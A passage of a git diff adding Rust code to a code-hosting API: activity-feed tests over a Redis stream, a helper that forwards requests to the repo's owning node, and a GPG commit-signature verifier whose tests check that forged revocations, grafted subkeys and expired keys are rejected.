the thing", + "main", + "fix-it", + ) + .await; + } + let rows: Vec = api + .cache + .xrevrange("events", 2) + .await + .iter() + .filter_map(|(_, fields)| { + let e = events::from_fields(fields)?; + pull_event(e, "web".to_string()) + }) + .collect(); + assert_eq!(rows.len(), 2, "capped at the requested count of 2"); + assert_eq!(rows[0].title, "opened #3 fix the thing", "newest first"); + assert_eq!(rows[1].title, "opened #2 fix the thing"); + assert_eq!(rows[0].detail, "fix-it into main", "the format the feed renders"); + + // One publish per opened PR — not zero, and not the double-publish that would show the + // same change twice in everyone's feed. Read uncapped, so the count is the whole stream. + let all = api.cache.xrevrange("events", 10).await; + assert_eq!(all.len(), 3, "one entry per publish"); + let field = |f: &[(String, String)], k: &str| { + f.iter().find(|(fk, _)| fk == k).map(|(_, v)| v.clone()) + }; + let ones: Vec<_> = all.iter().filter(|(_, f)| field(f, "number").as_deref() == Some("1")).collect(); + assert_eq!(ones.len(), 1, "exactly one entry for #1"); + assert_eq!(field(&ones[0].1, "kind").as_deref(), Some("pull_opened")); + assert_eq!(field(&ones[0].1, "repo").as_deref(), Some("alice/web")); + } + + /// The two conditions that leave `activity()` with no PR rows at all: a stream entry + /// for a repo the caller cannot see (filtered against the caller's `owner/name` scope, the + /// same shape `activity()` builds from `repos_for`), and a kind the feed does not show at + /// all. Either one leaves `stream_events` empty, which is exactly the trigger `activity()` + /// checks. + #[tokio::test] + async fn events_outside_the_feeds_scope_are_dropped_not_shown() { + let api = test_api_with_secret("s").await; + publish_pull_event( + &api.cache, + Kind::PullCommented, + "alice/web", + 1, + "alice@example.com", + "", + "", + "", + ) + .await; // not a kind the feed shows + publish_pull_event( + &api.cache, + Kind::PullOpened, + "bob/other", + 2, + "bob@example.com", + "t", + "main", + "h", + ) + .await; // not the caller's repo at all + + let scope: std::collections::HashSet = ["alice/web".to_string()].into_iter().collect(); + let rows: Vec = api + .cache + .xrevrange("events", 10) + .await + .iter() + .filter_map(|(_, fields)| { + let e = events::from_fields(fields)?; + if !scope.contains(&e.repo) { + return None; + } + let name = e.repo.split('/').next_back().unwrap_or(&e.repo).to_string(); + pull_event(e, name) + }) + .collect(); + assert!(rows.is_empty(), "neither event belongs in this caller's feed"); + } + + /// With the stream empty — Redis flushed, down, or simply nothing published yet — the PR half + /// of the feed is gone (there is no Mongo fallback any more), but the feed must still render + /// its `repo_created` half rather than blowing up or coming back blank. + #[tokio::test] + async fn feed_still_renders_repo_created_when_the_stream_is_empty() { + let api = test_api_with_secret("s").await; + // A marker row, as `repo_listing` builds it — no directory involved. + let repos = vec![RepoOut { + id: "alice/web".into(), + owner: "alice".into(), + name: "web".into(), + public: true, + description: String::new(), + created_by: "alice@example.com".into(), + created_at: 1_700_000_000_000, + }]; + + // The same assembly `activity()` does, with nothing in the stream. + let mut events: Vec = repos.iter().map(repo_created).collect(); + let stream_events: Vec = api + .cache + .xrevrange("events", 10) + .await + .iter() + .filter_map(|(_, fields)| pull_event(events::from_fields(fields)?, "web".to_string())) + .collect(); + assert!(stream_events.is_empty(), "nothing was published"); + events.extend(stream_events); + + assert_eq!(events.len(), 1, "the repo_created half survives an empty stream"); + assert_eq!(events[0].kind, "repo_created"); + assert_eq!(events[0].href, "/alice/web"); + } + + /// The owner-scoping leak this replaces: a same-named repo under a DIFFERENT owner + /// (`bob/web` vs `alice/web`) must never pass alice's scope filter just because the basename + /// matches — that was the bug (filtering on `e.repo`'s last path segment alone). And the + /// href on a stream-sourced row must carry the owner (`/{owner}/{name}/pulls/{n}`), not the bare `/{name}/pulls/{n}` that used to 404. + #[tokio::test] + async fn same_named_repo_under_another_owner_is_excluded_and_href_carries_owner() { + let api = test_api_with_secret("s").await; + publish_pull_event( + &api.cache, + Kind::PullOpened, + "bob/web", + 9, + "bob@example.com", + "bob's private title", + "main", + "bob-branch", + ) + .await; + publish_pull_event( + &api.cache, + Kind::PullOpened, + "alice/web", + 9, + "alice@example.com", + "alice's title", + "main", + "alice-branch", + ) + .await; + + // alice's feed scope: only her own `owner/name` rows, never bob's same-named repo. + let scope: std::collections::HashSet = ["alice/web".to_string()].into_iter().collect(); + let rows: Vec = api + .cache + .xrevrange("events", 10) + .await + .iter() + .filter_map(|(_, fields)| { + let e = events::from_fields(fields)?; + if !scope.contains(&e.repo) { + return None; + } + let name = e.repo.split('/').next_back().unwrap_or(&e.repo).to_string(); + pull_event(e, name) + }) + .collect(); + + assert_eq!(rows.len(), 1, "bob's same-named repo must be excluded"); + assert!(rows[0].title.contains("alice's title"), "must not leak bob's PR title"); + assert_eq!(rows[0].href, "/alice/web/pulls/9", "href must carry the owner, not just the name"); + } +} diff --git a/crates/api/src/forward.rs b/crates/api/src/forward.rs new file mode 100644 index 00000000..690f837f --- /dev/null +++ b/crates/api/src/forward.rs @@ -0,0 +1,86 @@ +use super::*; + +/// Buffer an upstream reply, refusing anything past `MAX_BODY` instead of holding it in memory. +/// Hand-synced twin in `bins/server/src/boot.rs` (`post_to_owner`) — mirror any change there. +pub async fn read_bounded(mut r: reqwest::Response) -> Result { + let mut out = Vec::new(); + while let Some(chunk) = r.chunk().await? { + if out.len() + chunk.len() > MAX_BODY { + return Err(crate::err("upstream reply is too large")); + } + out.extend_from_slice(&chunk); + } + Ok(out.into()) +} + +/// `read_bounded`, as the text a handler relays. An oversized reply is an empty string, which the +/// relaying status code already explains better than a truncated body would. +pub(crate) async fn text_bounded(r: reqwest::Response) -> String { + read_bounded(r) + .await + .map(|b| String::from_utf8_lossy(&b).into_owned()) + .unwrap_or_default() +} + +/// The one way this tier talks to the node that owns a repo: present the peer secret, name the +/// reader, send, and turn an unreachable node into one 502 everywhere. +/// +/// The peer secret is not an identity. It says "a node in this fleet is asking", and the node +/// still applies the same read check it applies to anyone — so it has to be told WHO is reading, +/// or a private repo answers 401 to a caller who is entitled to it. The caller establishes that +/// entitlement before calling this; `owner` is what it asserts upstream. `None` is for the writes +/// the node authorizes structurally rather than per reader. +pub(crate) async fn to_owner( + api: &Api, + req: reqwest::RequestBuilder, + owner: Option<&str>, +) -> std::result::Result { + let req = req.header(crate::proxy::PEER_HEADER, &api.secret); + let req = match owner { + Some(o) => req.header(crate::proxy::OWNER_HEADER, o), + None => req, + }; + req.send().await.map_err(|e| { + tracing::error!(error = %e, "upstream"); + (StatusCode::BAD_GATEWAY, "the service is unavailable").into_response() + }) +} + +/// Ask the node that owns this repo to do something; the caller reads the outcome off the status. +pub(crate) async fn ask_owner(api: &Api, path: String) -> std::result::Result { + let r = to_owner(api, api.client.post(format!("{}{path}", api.upstream)), None).await?; + Ok(r.status().as_u16()) +} + +/// Read a repo-scoped route from the owning node, as `owner`, and pass its answer through. +pub(crate) async fn read_from_owner(api: &Api, owner: &str, path: String) -> Response { + match to_owner(api, api.client.get(format!("{}{path}", api.upstream)), Some(owner)).await { + Ok(r) => relay(r).await, + Err(r) => r, + } +} + +/// Forward a JSON body to the owning node, as `owner`, and pass its answer straight back. +/// +/// The sibling of `ask_owner` for the two PR writes that carry real user text. The node's own +/// refusals ("a title is required", "say something") are written for the person typing, so they +/// are relayed rather than replaced — the same choice `commit_patch` makes for its forward. +pub(crate) async fn tell_owner(api: &Api, owner: &str, path: String, body: serde_json::Value) -> Response { + let req = api.client.post(format!("{}{path}", api.upstream)).json(&body); + match to_owner(api, req, Some(owner)).await { + Ok(r) => relay(r).await, + Err(r) => r, + } +} + +/// Pass an upstream reply through with its own status. Only a success body is JSON — a refusal is +/// the node's own prose, and labelling that `application/json` makes it unreadable to the caller. +async fn relay(r: reqwest::Response) -> Response { + let status = StatusCode::from_u16(r.status().as_u16()).unwrap_or(StatusCode::BAD_GATEWAY); + let text = text_bounded(r).await; + if status.is_success() { + (status, [(header::CONTENT_TYPE, "application/json")], text).into_response() + } else { + (status, text).into_response() + } +} diff --git a/crates/api/src/gpg.rs b/crates/api/src/gpg.rs new file mode 100644 index 00000000..38abf713 --- /dev/null +++ b/crates/api/src/gpg.rs @@ -0,0 +1,666 @@ +//! Verifying GPG-signed commits. +//! +//! Separate from the ssh path because the two are not the same shape. An ssh +//! signature carries its own public key, so the key IS the identity and one +//! fingerprint answers everything. An OpenPGP key is a primary key with SUBKEYS, +//! several user ids, an expiry and possibly a revocation — commits are normally +//! signed by a signing subkey, and the person is the primary key behind it. +//! +//! That is why a registered gpg key stores the whole armoured key rather than a +//! fingerprint: verification needs the material, and the answer to "whose is +//! this?" is a walk from subkey to primary. + +use crate::{hex, Result}; +use pgp::composed::{Deserializable, DetachedSignature, SignedPublicKey}; + +/// Why a signature is or is not good. +/// +/// The names follow GitHub's, because a client that already branches on theirs +/// should not have to learn a second vocabulary — and because each of these is a +/// genuinely different situation to a person reading it. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Reason { + Valid, + /// Signed by a key nobody has registered here. + UnknownKey, + /// The key was registered, but had expired when this was checked. + ExpiredKey, + /// Its owner published a revocation: the key is not to be trusted, whatever + /// the maths says. + RevokedKey, + /// The signature does not match the bytes — tampering, or corruption. + Invalid, + /// The signature is good, but the key is not the commit author's. + BadEmail, + /// Not a form we can check. + UnknownSignatureType, +} + +impl Reason { + pub fn as_str(self) -> &'static str { + match self { + Reason::Valid => "valid", + Reason::UnknownKey => "unknown_key", + Reason::ExpiredKey => "expired_key", + Reason::RevokedKey => "revoked_key", + Reason::Invalid => "invalid", + Reason::BadEmail => "bad_email", + Reason::UnknownSignatureType => "unknown_signature_type", + } + } +} + +/// Is this armour an OpenPGP signature? +pub fn is_pgp(signature: &str) -> bool { + signature.contains("BEGIN PGP SIGNATURE") +} + +/// The fingerprints a signature says made it, longest-lived first. +/// +/// A signature names its issuer by fingerprint, or on older keys only by key id +/// (the last eight bytes of the fingerprint). Both are returned as lowercase hex +/// so a lookup can match either against a registered key. +pub fn issuers(signature: &str) -> Result> { + let (sig, _) = DetachedSignature::from_string(signature) + .map_err(|e| crate::err(format!("signature: {e}")))?; + let mut out: Vec = sig + .signature + .issuer_fingerprint() + .into_iter() + .map(|f| hex(f.as_bytes())) + .collect(); + out.extend(sig.signature.issuer_key_id().into_iter().map(|k| hex(k.as_ref()))); + Ok(out) +} + +/// The primary key's fingerprint, plus every subkey's — what a registered key +/// answers to. Also includes each fingerprint's 16-hex key-id suffix (the last +/// eight bytes), because `issuers` above returns bare key ids for signatures +/// that don't name a full fingerprint; indexing the suffix at registration +/// keeps the lookup a single `$in` rather than a suffix scan. Stored at +/// registration so a lookup is one indexed query rather than a scan that +/// parses every key. +pub fn fingerprints_of(armoured: &str) -> Result> { + let (key, _) = SignedPublicKey::from_string(armoured) + .map_err(|e| crate::err(format!("public key: {e}")))?; + use pgp::types::KeyDetails; + let mut full = vec![hex(key.fingerprint().as_bytes())]; + full.extend( + key.public_subkeys + .iter() + .map(|s| hex(s.key.fingerprint().as_bytes())), + ); + let mut out = full.clone(); + out.extend(full.iter().filter(|f| f.len() > 16).map(|f| f[f.len() - 16..].to_string())); + Ok(out) +} + +/// Every email this key claims, lowercased. +/// +/// A key may carry several user ids; a commit matches if ANY of them is the +/// author. Matching only the first would call a legitimate signature bad_email +/// for anyone who has ever added a second address. +/// +/// A user id is free text the holder controls, so only one whose SELF-SIGNATURE +/// verifies against the primary key is trusted: without that check a third party +/// could staple someone else's address onto a key and have us vouch for it. +pub fn emails_of(armoured: &str) -> Result> { + let (key, _) = SignedPublicKey::from_string(armoured) + .map_err(|e| crate::err(format!("public key: {e}")))?; + Ok(verified_emails(&key)) +} + +fn verified_emails(key: &SignedPublicKey) -> Vec { + key.details + .users + .iter() + // `verify_bindings` checks every certification on the user id against the + // primary key (and fails an id carrying none). + .filter(|u| u.verify_bindings(&key.primary_key).is_ok()) + .filter_map(|u| { + let id = u.id.id(); + let s = String::from_utf8_lossy(id); + // `Name `, or a bare address. + s.rsplit_once('<') + .and_then(|(_, rest)| rest.split_once('>')) + .map(|(email, _)| email.trim().to_lowercase()) + .or_else(|| s.contains('@').then(|| s.trim().to_lowercase())) + }) + .collect() +} + +/// Check a signature against a registered key. +/// +/// Expiry is judged BEFORE the maths: an expired key that still verifies is not +/// a valid signature, and reporting it as good would make the badge a lie about +/// a key its owner has already retired. The signature's own timestamps are checked +/// there too — when it was made against when the key existed and expired, and its +/// own expiry against now. +pub fn verify(armoured_key: &str, signature: &str, payload: &[u8], author_email: &str) -> Reason { + let Ok((key, _)) = SignedPublicKey::from_string(armoured_key) else { + return Reason::UnknownKey; + }; + let Ok((sig, _)) = DetachedSignature::from_string(signature) else { + return Reason::UnknownSignatureType; + }; + + let now = std::time::SystemTime::now(); + + // Both judged BEFORE the maths. An expired or revoked key that still verifies + // is not a good signature, and reporting it as valid would vouch for a key its + // owner has already retired. + match validity(&key, now) { + Validity::Revoked => return Reason::RevokedKey, + Validity::Expired => return Reason::ExpiredKey, + Validity::Valid => {} + } + + // Judged at the moment the signature was MADE, not only now. One dated before its key + // existed can only be forged or misattributed; one dated past the key's expiry was made with + // a retired key however the clock reads today; one carrying its own expiry that has passed + // says, in the signer's words, not to trust it any more. + use pgp::types::KeyDetails; + let key_created: std::time::SystemTime = key.primary_key.created_at().into(); + let Some(made) = sig.signature.created() else { + return Reason::Invalid; + }; + let made: std::time::SystemTime = made.into(); + if made < key_created { + return Reason::Invalid; + } + if let Some(d) = effective_expiry(&key) { + if key_created + std::time::Duration::from(d) < made { + return Reason::ExpiredKey; + } + } + if let Some(d) = sig.signature.signature_expiration_time() { + if made + std::time::Duration::from(d) < now { + return Reason::Invalid; + } + } + + // The primary key, then each subkey that is bound AND still live: a subkey with + // no valid binding signature is not part of this key, and (for a signing subkey) + // the embedded back-signature is what proves the subkey agreed to be bound — + // without both checks an attacker could graft any subkey under a trusted + // primary. `subkey_live` additionally rejects a revoked or self-expired subkey, + // which the binding crypto alone does not. Commits are normally signed by a + // signing subkey. + let ok = sig.verify(&key.primary_key, payload).is_ok() + || key + .public_subkeys + .iter() + .filter(|s| s.verify_bindings(&key.primary_key).is_ok() && subkey_live(s, &key.primary_key, now)) + .any(|s| sig.verify(&s.key, payload).is_ok()); + if !ok { + return Reason::Invalid; + } + + let author = author_email.trim().to_lowercase(); + if verified_emails(&key).contains(&author) { + Reason::Valid + } else { + Reason::BadEmail + } +} + +/// The trust state of the primary key, judged before any signature maths. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum Validity { + Valid, + Expired, + Revoked, +} + +/// Is the key revoked or expired at `now`? +/// +/// Revocation is honoured only when the revocation signature VERIFIES against the +/// key it revokes: an unverified revocation packet is anyone's to forge, and +/// treating it as authoritative is a denial-of-service on the real owner. +fn validity(key: &SignedPublicKey, now: std::time::SystemTime) -> Validity { + if key + .details + .revocation_signatures + .iter() + .any(|s| s.verify_key(&key.primary_key).is_ok()) + { + return Validity::Revoked; + } + + if let Some(d) = effective_expiry(key) { + use pgp::types::KeyDetails; + let created: std::time::SystemTime = key.primary_key.created_at().into(); + // Expiry is a DURATION from key creation, not an absolute date; reading it + // as a timestamp would make every key look decades expired. + let d = std::time::Duration::from(d); + if created + d < now { + return Validity::Expired; + } + } + Validity::Valid +} + +/// The key-expiry duration on the NEWEST valid self-signature, if any. +/// +/// GPG semantics: the most recent self-signature wins, so a later one that +/// extends (or removes) the expiry supersedes an earlier short one. The old code +/// tripped on ANY duration ever set, so extending a key still read as expired. +/// Only self-signatures that actually verify are considered — an unverified one +/// must not get a vote on the key's lifetime. +fn effective_expiry(key: &SignedPublicKey) -> Option { + use pgp::types::Tag; + let primary = &key.primary_key; + + let direct = key + .details + .direct_signatures + .iter() + .filter(|s| s.verify_key(primary).is_ok()); + let uid = key.details.users.iter().flat_map(|u| { + u.signatures + .iter() + .filter(move |s| s.verify_certification(primary, Tag::UserId, &u.id).is_ok()) + }); + + // A direct-key signature outranks any user-id self-signature (RFC 9580 §5.2.3.10), whatever + // the timestamps say: key generation stamps the uid self-signature at the wall clock, so + // ranking purely by creation time let a uid binding silence the key's own expiry. + fn newest<'a>( + it: impl Iterator, + ) -> Option<&'a pgp::packet::Signature> { + it.filter_map(|s| Some((s.created()?, s))).max_by_key(|(c, _)| *c).map(|(_, s)| s) + } + let picked = newest(direct).or_else(|| newest(uid)); + picked.and_then(|s| s.key_expiration_time()) +} + +/// Is a signing subkey live at `now`: bound, not revoked, not past its OWN expiry? +/// +/// `verify_bindings` proves the binding crypto and the back-signature, but it +/// treats a `SubkeyRevocation` as just another satisfying "binding" and never +/// looks at the subkey's own `KeyExpirationTime` — which lives on the binding +/// signature, not on the primary. A commit signed under an expired or revoked +/// signing subkey must not read as valid, so both are enforced here. Newest valid +/// binding wins, matching the primary-key expiry semantics. +fn subkey_live( + subkey: &pgp::composed::SignedPublicSubKey, + primary: &pgp::packet::PublicKey, + now: std::time::SystemTime, +) -> bool { + use pgp::packet::SignatureType; + use pgp::types::{Duration, KeyDetails, Timestamp}; + + let created: std::time::SystemTime = subkey.key.created_at().into(); + let mut newest: Option<(Timestamp, Option)> = None; + for sig in &subkey.signatures { + if sig.verify_subkey_binding(primary, &subkey.key).is_err() { + continue; + } + match sig.typ() { + Some(SignatureType::SubkeyRevocation) => return false, + Some(SignatureType::SubkeyBinding) => { + if let Some(c) = sig.created() { + if newest.is_none_or(|(nc, _)| c > nc) { + newest = Some((c, sig.key_expiration_time())); + } + } + } + _ => {} + } + } + match newest { + Some((_, Some(d))) => created + std::time::Duration::from(d) >= now, + Some((_, None)) => true, + None => false, + } +} + +#[cfg(test)] +pub(crate) mod tests { + use super::*; + use pgp::composed::{ + EncryptionCaps, KeyType, SecretKeyParamsBuilder, SignedSecretKey, SubkeyParamsBuilder, + }; + use pgp::composed::{ArmorOptions, DetachedSignature}; + use pgp::crypto::hash::HashAlgorithm; + use pgp::packet::{KeyFlags, SignatureConfig, SignatureType, Subpacket, SubpacketData}; + use pgp::types::{Duration as PgpDuration, KeyDetails, Password, Timestamp}; + use std::time::{Duration, SystemTime}; + + // Rebuild the signing subkey's binding with a chosen creation time and expiry + // (and optionally a valid SubkeyRevocation on top), returning the public key. + // A fresh back-signature keeps the binding acceptable to `verify_bindings`, so + // the test isolates the subkey-own-validity checks. + pub(crate) fn reforge_subkey( + sk: &SignedSecretKey, + created: SystemTime, + expiry_secs: Option, + revoke: bool, + ) -> SignedPublicKey { + let primary = &sk.primary_key; + let primary_pub = primary.public_key(); + let sub = &sk.secret_subkeys[0]; + let sub_pub = sub.key.public_key(); + + let backsig = sub + .key + .sign_primary_key_binding(rand::thread_rng(), &primary_pub, &Password::empty()) + .unwrap(); + + let mut flags = KeyFlags::default(); + flags.set_sign(true); + let mut subpkts = vec![ + Subpacket::regular(SubpacketData::SignatureCreationTime( + Timestamp::try_from(created).unwrap(), + )) + .unwrap(), + Subpacket::regular(SubpacketData::IssuerFingerprint(primary.fingerprint())).unwrap(), + Subpacket::regular(SubpacketData::KeyFlags(flags)).unwrap(), + Subpacket::regular(SubpacketData::EmbeddedSignature(Box::new(backsig))).unwrap(), + ]; + if let Some(e) = expiry_secs { + subpkts.push( + Subpacket::regular(SubpacketData::KeyExpirationTime(PgpDuration::from_secs(e))) + .unwrap(), + ); + } + let mut cfg = + SignatureConfig::from_key(rand::thread_rng(), primary, SignatureType::SubkeyBinding) + .unwrap(); + cfg.hashed_subpackets = subpkts; + let binding = cfg + .sign_subkey_binding(primary, &primary_pub, &Password::empty(), &sub_pub) + .unwrap(); + + let mut sigs = vec![binding]; + if revoke { + let mut rcfg = SignatureConfig::from_key( + rand::thread_rng(), + primary, + SignatureType::SubkeyRevocation, + ) + .unwrap(); + rcfg.hashed_subpackets = vec![ + Subpacket::regular(SubpacketData::SignatureCreationTime(Timestamp::now())).unwrap(), + Subpacket::regular(SubpacketData::IssuerFingerprint(primary.fingerprint())) + .unwrap(), + ]; + let rev = rcfg + .sign_subkey_binding(primary, &primary_pub, &Password::empty(), &sub_pub) + .unwrap(); + sigs.push(rev); + } + + let mut pk: SignedPublicKey = sk.clone().into(); + pk.public_subkeys[0].signatures = sigs; + pk + } + + // A detached binary signature over `payload`, made by the key's signing subkey. + pub(crate) fn subkey_signature(sk: &SignedSecretKey, payload: &[u8]) -> String { + DetachedSignature::sign_binary_data( + rand::thread_rng(), + &sk.secret_subkeys[0].key, + &Password::empty(), + HashAlgorithm::Sha256, + payload, + ) + .unwrap() + .to_armored_string(ArmorOptions::default()) + .unwrap() + } + + /// Subkeys with a valid binding — the only ones a signature may ride on. + fn signing_capable_subkeys(key: &SignedPublicKey) -> Vec { + key.public_subkeys + .iter() + .filter(|s| s.verify_bindings(&key.primary_key).is_ok()) + .map(|s| hex(s.key.fingerprint().as_bytes())) + .collect() + } + + pub(crate) fn gen(uid: &str, created: SystemTime) -> SignedSecretKey { + let mut sub = SubkeyParamsBuilder::default(); + sub.key_type(KeyType::Ed25519Legacy) + .can_sign(true) + .can_encrypt(EncryptionCaps::None) + .can_authenticate(false) + .created_at(Timestamp::try_from(created).unwrap()); + let mut params = SecretKeyParamsBuilder::default(); + params + .key_type(KeyType::Ed25519Legacy) + .can_certify(true) + .can_sign(false) + .can_encrypt(EncryptionCaps::None) + .created_at(Timestamp::try_from(created).unwrap()) + .primary_user_id(uid.into()) + .subkeys(vec![sub.build().unwrap()]); + params + .build() + .unwrap() + .generate(rand::thread_rng()) + .unwrap() + } + + // Primary of one key, subkey of another: the subkey's binding verifies against + // the FOREIGN primary, so it is not a signer for this key. + fn key_with_unbound_subkey() -> (SignedPublicKey, String) { + let mine: SignedPublicKey = gen("a@example.com", SystemTime::now()).into(); + let other: SignedPublicKey = gen("b@example.com", SystemTime::now()).into(); + let stolen = other.public_subkeys[0].clone(); + let unbound_id = hex(stolen.key.fingerprint().as_bytes()); + let mut tampered = mine; + tampered.public_subkeys = vec![stolen]; + (tampered, unbound_id) + } + + // Two self-signatures: an old one capping the key at 1y, a newer one extending + // it to 10y. The key is 2y old, so the old-cap logic would call it expired. + fn key_expiry_extended() -> SignedPublicKey { + let two_years = Duration::from_secs(2 * 365 * 86400); + let one_year = Duration::from_secs(365 * 86400); + let mut sk = gen("c@example.com", SystemTime::now() - two_years); + + let sign = |sk: &SignedSecretKey, at: SystemTime, expiry_secs: u32| { + let mut cfg = + SignatureConfig::from_key(rand::thread_rng(), &sk.primary_key, SignatureType::Key) + .unwrap(); + cfg.hashed_subpackets = vec![ + Subpacket::regular(SubpacketData::SignatureCreationTime( + Timestamp::try_from(at).unwrap(), + )) + .unwrap(), + Subpacket::regular(SubpacketData::IssuerFingerprint(sk.primary_key.fingerprint())) + .unwrap(), + Subpacket::regular(SubpacketData::KeyExpirationTime(PgpDuration::from_secs( + expiry_secs, + ))) + .unwrap(), + ]; + cfg.sign_key(&sk.primary_key, &Password::empty(), &sk.primary_key.public_key()) + .unwrap() + }; + + let now = SystemTime::now(); + let old = sign(&sk, now - two_years, 365 * 86400); + let new = sign(&sk, now - one_year, 10 * 365 * 86400); + sk.details.direct_signatures.push(old); + sk.details.direct_signatures.push(new); + sk.into() + } + + #[test] + fn subkey_without_valid_binding_is_not_a_signer() { + let (key, unbound) = key_with_unbound_subkey(); + assert!(!signing_capable_subkeys(&key).iter().any(|s| *s == unbound)); + } + + #[test] + fn bound_subkey_is_a_signer() { + let key: SignedPublicKey = gen("d@example.com", SystemTime::now()).into(); + assert_eq!(signing_capable_subkeys(&key).len(), 1); + } + + #[test] + fn newest_self_sig_expiry_wins() { + let key = key_expiry_extended(); + assert_eq!(validity(&key, SystemTime::now()), Validity::Valid); + } + + #[test] + fn unverified_revocation_is_ignored() { + // A revocation from a foreign key must not revoke this one. + let mut mine: SignedPublicKey = gen("e@example.com", SystemTime::now()).into(); + let other = gen("f@example.com", SystemTime::now()); + let mut cfg = SignatureConfig::from_key( + rand::thread_rng(), + &other.primary_key, + SignatureType::KeyRevocation, + ) + .unwrap(); + cfg.hashed_subpackets = vec![ + Subpacket::regular(SubpacketData::SignatureCreationTime(Timestamp::now())).unwrap(), + Subpacket::regular(SubpacketData::IssuerFingerprint(other.primary_key.fingerprint())) + .unwrap(), + ]; + let forged = cfg + .sign_key(&other.primary_key, &Password::empty(), &mine.primary_key) + .unwrap(); + mine.details.revocation_signatures.push(forged); + assert_eq!(validity(&mine, SystemTime::now()), Validity::Valid); + } + + #[test] + fn only_verified_uid_emails() { + let key: SignedPublicKey = gen("g@example.com", SystemTime::now()).into(); + assert_eq!(verified_emails(&key), vec!["g@example.com".to_string()]); + } + + #[test] + fn foreign_signed_uid_email_is_not_returned() { + // Graft a user id self-signed by a FOREIGN key: its email must not appear. + let mut mine: SignedPublicKey = gen("h@example.com", SystemTime::now()).into(); + let other: SignedPublicKey = gen("evil@example.com", SystemTime::now()).into(); + mine.details.users = other.details.users.clone(); + assert!(!verified_emails(&mine).contains(&"evil@example.com".to_string())); + } + + #[test] + fn expired_signing_subkey_does_not_verify() { + // Subkey binding created 2y ago, self-expiring after 1y: expired now. + let two_years = Duration::from_secs(2 * 365 * 86400); + let sk = gen("i@example.com", SystemTime::now() - two_years); + let pk = reforge_subkey(&sk, SystemTime::now() - two_years, Some(365 * 86400), false); + let armored = pk.to_armored_string(ArmorOptions::default()).unwrap(); + let payload = b"commit body"; + let sig = subkey_signature(&sk, payload); + assert_ne!( + verify(&armored, &sig, payload, "i@example.com"), + Reason::Valid + ); + } + + #[test] + fn revoked_signing_subkey_does_not_verify() { + let sk = gen("j@example.com", SystemTime::now()); + let pk = reforge_subkey(&sk, SystemTime::now(), None, true); + let armored = pk.to_armored_string(ArmorOptions::default()).unwrap(); + let payload = b"commit body"; + let sig = subkey_signature(&sk, payload); + assert_ne!( + verify(&armored, &sig, payload, "j@example.com"), + Reason::Valid + ); + } + + #[test] + fn fingerprints_of_includes_key_id_suffix() { + // `directory::signer_by_any` does an exact `$in` lookup; a signature + // naming its issuer by bare 16-hex key id (Task 19) only finds this + // key if registration indexed that suffix alongside the full + // fingerprint. + let key: SignedPublicKey = gen("m@example.com", SystemTime::now()).into(); + let armored = key.to_armored_string(ArmorOptions::default()).unwrap(); + let full = hex(key.primary_key.fingerprint().as_bytes()); + let all = fingerprints_of(&armored).unwrap(); + assert!(all.contains(&full), "full fingerprint still present: {all:?}"); + let suffix = &full[full.len() - 16..]; + assert!(all.contains(&suffix.to_string()), "16-hex key id suffix indexed: {all:?}"); + } + + #[test] + fn live_signing_subkey_still_verifies() { + // Control: a freshly-bound, non-expired subkey signature is Valid. + let sk = gen("k@example.com", SystemTime::now()); + let pk = reforge_subkey(&sk, SystemTime::now(), Some(10 * 365 * 86400), false); + let armored = pk.to_armored_string(ArmorOptions::default()).unwrap(); + let payload = b"commit body"; + let sig = subkey_signature(&sk, payload); + assert_eq!(verify(&armored, &sig, payload, "k@example.com"), Reason::Valid); + } + + #[test] + fn a_signature_that_predates_its_key_is_invalid() { + // The key comes into existence tomorrow; the signature is made now. + let sk = gen("l@example.com", SystemTime::now() + Duration::from_secs(86_400)); + let pk: SignedPublicKey = sk.clone().into(); + let armored = pk.to_armored_string(ArmorOptions::default()).unwrap(); + let payload = b"commit body"; + let sig = subkey_signature(&sk, payload); + assert_eq!(verify(&armored, &sig, payload, "l@example.com"), Reason::Invalid); + } + + #[test] + fn a_signature_past_its_own_expiry_is_invalid() { + use pgp::composed::SubpacketConfig; + let sk = gen("n@example.com", SystemTime::now() - Duration::from_secs(30 * 86_400)); + let pk: SignedPublicKey = sk.clone().into(); + let armored = pk.to_armored_string(ArmorOptions::default()).unwrap(); + let payload = b"commit body"; + let signer = &sk.secret_subkeys[0].key; + // Made two days ago, valid for one. + let hashed = vec![ + Subpacket::regular(SubpacketData::SignatureCreationTime( + Timestamp::try_from(SystemTime::now() - Duration::from_secs(2 * 86_400)).unwrap(), + )) + .unwrap(), + Subpacket::regular(SubpacketData::IssuerFingerprint(signer.fingerprint())).unwrap(), + Subpacket::regular(SubpacketData::SignatureExpirationTime(PgpDuration::from_secs(86_400))).unwrap(), + ]; + let sig = DetachedSignature::sign_binary_data_with_subpackets( + rand::thread_rng(), + signer, + &Password::empty(), + HashAlgorithm::Sha256, + &payload[..], + SubpacketConfig::UserDefined { hashed, unhashed: vec![] }, + ) + .unwrap() + .to_armored_string(ArmorOptions::default()) + .unwrap(); + assert_eq!(verify(&armored, &sig, payload, "n@example.com"), Reason::Invalid); + } + + #[test] + fn a_signature_made_after_the_key_expired_is_expired_key() { + // Key created 2y ago with a 1y expiry (so expired now); the signature is dated 18 + // months ago — inside "expired" territory even though nobody has moved the clock. + let two_years = Duration::from_secs(2 * 365 * 86_400); + let mut sk = gen("o@example.com", SystemTime::now() - two_years); + let mut cfg = SignatureConfig::from_key(rand::thread_rng(), &sk.primary_key, SignatureType::Key).unwrap(); + cfg.hashed_subpackets = vec![ + Subpacket::regular(SubpacketData::SignatureCreationTime( + Timestamp::try_from(SystemTime::now() - two_years).unwrap(), + )) + .unwrap(), + Subpacket::regular(SubpacketData::IssuerFingerprint(sk.primary_key.fingerprint())).unwrap(), + Subpacket::regular(SubpacketData::KeyExpirationTime(PgpDuration::from_secs(365 * 86_400))).unwrap(), + ]; + let direct = cfg.sign_key(&sk.primary_key, &Password::empty(), &sk.primary_key.public_key()).unwrap(); + sk.details.direct_signatures.push(direct); + let pk: SignedPublicKey = sk.clone().into(); + let armored = pk.to_armored_string(ArmorOptions::default()).unwrap(); + let sig = subkey_signature(&sk, b"commit body"); + assert_eq!(verify(&armored, &sig, b"commit body", "o@example.com"), Reason::ExpiredKey); + } +} diff --git a/crates/api/src/images.rs b/crates/api/src/images.rs new file mode 100644 index 00000000..8cbf32aa --- /dev/null +++ b/crates/api/src/images.rs @@ -0,0 +1,146 @@ +use super::*; + +/// `GET /api/{owner}/images` — the Container Images page. Proxied by hand rather than through +/// `handle`: that path only ever names a repo, and this one names no repo at all, so it does not +/// 